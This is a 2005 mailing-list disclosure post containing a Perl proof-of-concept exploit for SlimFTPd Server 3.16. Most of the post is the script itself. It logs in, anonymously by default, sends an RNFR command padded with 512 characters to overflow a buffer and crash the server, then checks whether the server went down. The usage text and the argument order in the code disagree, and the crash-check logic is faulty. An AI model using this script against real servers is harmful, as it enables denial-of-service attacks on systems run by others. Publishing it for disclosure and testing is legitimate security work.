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SlimFTPd Server: PoC Exploit
From: Dim K0r0l <dim () acolytez com>
Date: Fri, 22 Jul 2005 01:51:25 +0000

---------------------------------------
Affected version: 3.16
Bug found by Raphaƫl Rigo
PoC exploit for demonstration
---------------------------------------

*#!/usr/bin/perl*

/# --------------------------------------------------- #/
/# 47slimftpd_bof.pl - PoC exploit for SlimFTPd Server #/
/# version 3.16                                        #/
/# bug found by ml-bugtraq () twilight-hall net           #/
/#                                                     #/
/# coded by k0r0l from acolytez team                   #/
/# visit http://acolytez.com for details               #/
/# --------------------------------------------------- #/

*use* Net::FTP;

/# geting data/
$host = @ARGV[0];
$port = @ARGV[1];
$debug = @ARGV[2];
$user = @ARGV[3];
$pass = @ARGV[4];

/# ===========/

*if* (($host) && ($port)) {
        
        /# make exploit string/
        $exploit_string = *"*RNFR *"*;
        $exploit_string .= *"*X*"*x512;
        /#  ===================/
        
        print *"*Trying to connect to $host:$port\n*"*;               
$sock = Net::FTP->new(*"*$host*"*,Port => $port, TimeOut => 30, Debug => $debug) *or* die *"*[-] Connection failed\n*"*; print *"*[+] Connect OK!\n*"*;
        print *"*Logging...\n*"*;
        *if* (!$user) {
                $user = *"*anonymous*"*;
                $pass = *"*ftp () ftp com*"*;
        }
        $sock->login($user, $pass);
        $answer = $sock->message;
        print *"*Sending string...\n*"*;
        $sock->quot($exploit_string);
        print *"*Server $host may be down. Checking...\n*"*;
$sock = Net::FTP->new(*"*$host*"*,Port => $port, TimeOut => 30, Debug => $debug) *or* die *"*[-] Connection failed\n*"*; *if* ($sock) {print *"*[-] Exploit failed.\n*"*;} *else* {print *"*[+] Server crashed!\n*"*;}
        
        
} *else* {
        print *"*SlimFTPd Server - PoC Exploit\nhttp://AcolyteZ.com\n\nUsing: $0 host port username password [debug: 1 or 
0]\n\n*"*;
}

--
+################################+
# Dim K0r0l (dim () acolytez com)   #
#                                #
# http://AcolyteZ.com            #
# Net-security, coding, soft etc #
+################################+


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